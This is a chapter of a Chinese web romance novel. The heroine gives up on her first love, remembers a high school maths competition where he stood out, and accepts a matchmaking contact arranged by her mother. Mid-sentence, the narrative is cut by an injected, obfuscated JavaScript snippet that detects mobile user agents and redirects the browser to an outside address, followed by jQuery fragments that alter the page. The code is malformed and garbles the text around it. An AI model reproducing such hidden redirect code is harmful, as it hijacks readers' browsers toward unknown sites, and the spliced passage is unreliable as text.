鹤争 作品
12. 放弃
在那天过后,和温斯年的对话框没有再出现新消息。
谁都没有再发。
某种意义上也算默契。
她靠在书房椅子里,将那个对话框看了许久,反手将手机反扣在了桌面上。
温斯年的话犹响在耳边。
“我最近很忙,可能没什么时间和你联系。”
成年人的世界里,这是一句很明显的暗示。
到此为止。
钟毓不是体会不到别人冷淡的性格,事实正好相反,她对外界的态度格外敏感,好比小时候,同样是住在奶奶家,在字都认不太多的年纪,她就能靠大人们的表情和言语,判断出表哥比她更受欢迎。
怎么会不在意呢,可是本来就得到的爱不够多,再为此去撒泼打滚索取多一些爱,不是更可悲吗?
因为即使放下自尊,也索取不来。
她想起自己曾经的心理医生说过,爱本来就会无意识地流向拥有更多爱的地方。
钟毓决定放弃了。
其实故事到这里已经足够美好,她重逢了年少的初恋,对方没有发福,没有秃顶,没有变成人渣,甚至在岁月洗礼后更加成熟有魅力,她和对方以这种恰好可进可退的距离度过了一段时间,成年男女该知道,冷淡就是无声的婉拒而已。
也是,人怎么会那么幸运,重逢初恋,又能获得幸福。
她的性格,本来也不讨人喜欢而已。
“这还不是人渣?”周厉得知之后骂骂咧咧,“什么毛病啊,来招惹你又拍屁股走人?”
“算了,非要追究的话,我和他各打五十大板吧,已经没什么意义了,到此为止,我不会再想他了。”钟毓笑笑,很轻描淡写地说。
周厉叹了口气:“要不我去陪你两天吧,我跟的这个剧组快杀青了,基本没什么用到我的地方,不用天天跟组,我去陪你聊聊天散散心吧。”
钟毓失笑:“好啦,干嘛搞得好像我失恋了一样,你的假期那么少,趁有时间还不回去陪陪顾咕咕?”
周厉的语气明显犹豫了一瞬:“最近我爸在带他,他们爷孙两个确实不太处得来,不过也不急着这一两天……”
“快回去吧,”钟毓哭笑不得,“我哪有那么脆弱,我们俩打电话也是一样的。”
决定放下的钟毓当天中午就梦到了高中时期。
真奇怪,明明在过去十年里,她也没怎么梦到过对方。
那是刚上高一不久时,市里几座高校共同组织高中年级数学竞赛练习赛,一中是考点之一。
竞赛报名只为高二高三开放,但钟毓对这个比赛很感兴趣,于是报名了练习赛的志愿者。
一个考场分配两个监考老师和一个学生志愿者,钟毓负责与主监考老师共同证明试卷封装袋无损坏痕迹,无拆封痕迹,然后拿着考生信息单核对是否是考生本人参考。
核对到那个熟悉的名字时,她一愣。
她抬头看过去,温斯年正无聊地撑着脑袋看她检查,眼神放空,眼神对上后很快回神,微笑了一下。
钟毓面无表情移开了目光。
他生得确实好看,乌发浓眉,生了一双凤眼,眼睛很亮,睫毛浓密,又很长,钟毓分神去想,他这样的人确实不适合戴眼镜,否则每次眨眼,睫毛都会刮到镜片吧?
数学竞赛一向以其可以降分录取的含金量和难到题目都读不懂的两大特点出名,而练习赛大约是为了刺激考生,难度比正式竞赛还要难上几分。
于是许多信心满满的考生拿到拿到试卷后发现,第一道题就不会做。
没关系,放轻松,跳过就好。
然后发现第二题也不会,第三题也不会,一路往下看,好不容易看到一个有思路的,题目问甲公司承包工程需要几名高级职工,兴冲冲地一顿求解,解出来的结果是负的三分之根号二。
得,合着还要让工程方反过来倒贴半个人。
考场现场肉眼可见地笼罩在一片焦虑与低迷之中。
在这样的气氛下,想不注意到温斯年是不可能的。
他眉目舒展,表情自然,不疾不徐,好像已有成竹在胸,偶尔笔尖微顿,但很快就继续写下去了。
大约只过了不到五十分钟,他就把答题纸翻了面——这意味着他已经写完一半了。
这个声音对于焦虑中的考生的打击是巨大的,前排的考生不敢回头看,但他后面的考生几乎全抬起头在看他,而他镇定自若,继续奋笔疾书。
两个半小时的考试时间,温斯年行云流水从容自得,提前半小时就完成了试卷。
竞赛不允许提前交卷,他简单检查了一遍之后就无聊地开始转笔,那只平平无奇的黑色水笔在他手指间转得行云流水。
钟毓的目光不由得被那只笔牢牢吸引住。
那个时候的中学生都喜欢转笔,初中时代钟毓甚至见过能把转笔玩成杂技的,大家还会讨论总结谁的笔最好转,钟毓记得她当时同桌买的一支仿竹子形状的水笔因为比一般笔更长一些,粗细适宜,中段竹节处有起伏适合着力,当之无愧成为全班最好转的笔,一度引起跟风买的热潮。
钟毓想,他这支笔其实买的不好,受力不匀。
不过温斯年只是很随意地打发时间,他有点懒散地打了个哈欠,手里的笔“啪”一下停住,被他安安稳稳又放在桌上了。
考试时间到,铃响时全员需停笔,由监考老师收答题卡,钟毓站在一边,能清楚看到还有许多人试图在收卷前多写两秒,有一个男生还没来及涂选择题,急得都要哭了,监考老师催了三遍都都没给,很多人都忍不住看他。
答题卡收好之后,钟毓帮忙收空试卷和草稿纸,收到温斯年时他好像很急着要离开,偏头问钟毓:“小老师,我可以走了吗?”
钟毓手下一顿,转头就请示老师,正好这时监考老师也听到了他的问话:“大家先不要动,全部收完清点好以后,才能离开。”
温斯年有点无奈地扬了扬眉。
钟毓于是低下头继续去收。
清点好以后监考老师终于宣布了可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241227|166122||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
以离开,温斯年第一个站起来,从教室前门的桌子上拎起自己的黑色书包,大步走出了教室。
钟毓是学生志愿者,不能参与运送试卷的任务,于是她的工作也就到此结束了,她走出教室门,很快融入了刚出考场的考生之中。
“我靠,这题也太难了吧?我感觉我连三十分都不够!早知道不来陪跑了。”
“放宽心,按名次选拔,又不是只难你一个人,没准温斯年也只能考三十分,你考三十分还能捞个第二名。”
“得了吧,这卷子不用判我都能知道名次怎么排,第一是温斯年,第二第三一个是陈云菲,一个是许言科,也就第四第五能争一争,也百分之九十是数竞队出来的。”
“早知道我也早点进数竞队了,人家天天练习比我们强也很正常啊。”
“哎,说是这么说,可要是真让你进数竞队,你确定?每天放学还有加训两个小时,周六都要来待上半天,我可受不了!”
钟毓听着这些人的讨论,一路从楼梯上走下去,人很多,向下看去是一片密密麻麻的脑袋,在人群中她一眼就看见了那个背黑色包的身影,阳光照在他的侧脸,映出他恣意的神情,好像世间没有什么事情能够让他停驻脚步。
他身边还有一个身量相似,穿着红色夹克的男生,和一个略矮些的短发女生,三个人说说笑笑,表情轻松,脚步轻快地向门外走去。
钟毓点开手机,取消了那个一直没有改过备注,所以以原名挂在第一位的“w”的置顶。
刚取消完置顶,手机就响了一声,有那么一瞬间,钟毓还以为是温斯年终于回复了,但很快她发现这只是一条好友申请。
钟毓点开,对方的添加说明里写着:“李子傲。”
与此同时,齐淑琴发来消息:“小毓,你还记得你董阿姨家的早早哥哥吗?小时候他家搬去国外之前你最喜欢跟他玩了。最近他们回国了,我听说他还没有女朋友,就把你微信推过去了,你们要好好联系啊。”
钟毓将这条长语音听了十多秒,才忍不住回复。
【zzz:妈,你的意思是让我跟他相亲吗?可是我现在还在和段阿姨家的儿子联系,况且我一直把他当哥哥。】
【齐淑琴:那又怎么样,去商场买衣服不也要货比三家嘛,别人又不会知道。】
【齐淑琴:况且我觉得搞艺术的不靠谱,还是早早好,知根知底的,你别什么当哥哥的了,赶紧跟人好好联系,咱得抓紧啊闺女,要不然再过几年你都三十了,哪还有好的男孩子给你挑。】
【齐淑琴:听话。】
钟毓叹了一口气。
【zzz:好的。】
她点开新添加联系人,点了通过。
对面立刻发来消息。
【李子傲:hello小毓~好久不见,还记得我吗?】
【李子傲:我最近回国了,你什么时候有空,见个面吧。】
钟毓看着那行消息,手指在对话框空悬着,迟疑了许久,最终还是落了下去。
【zzz:好。】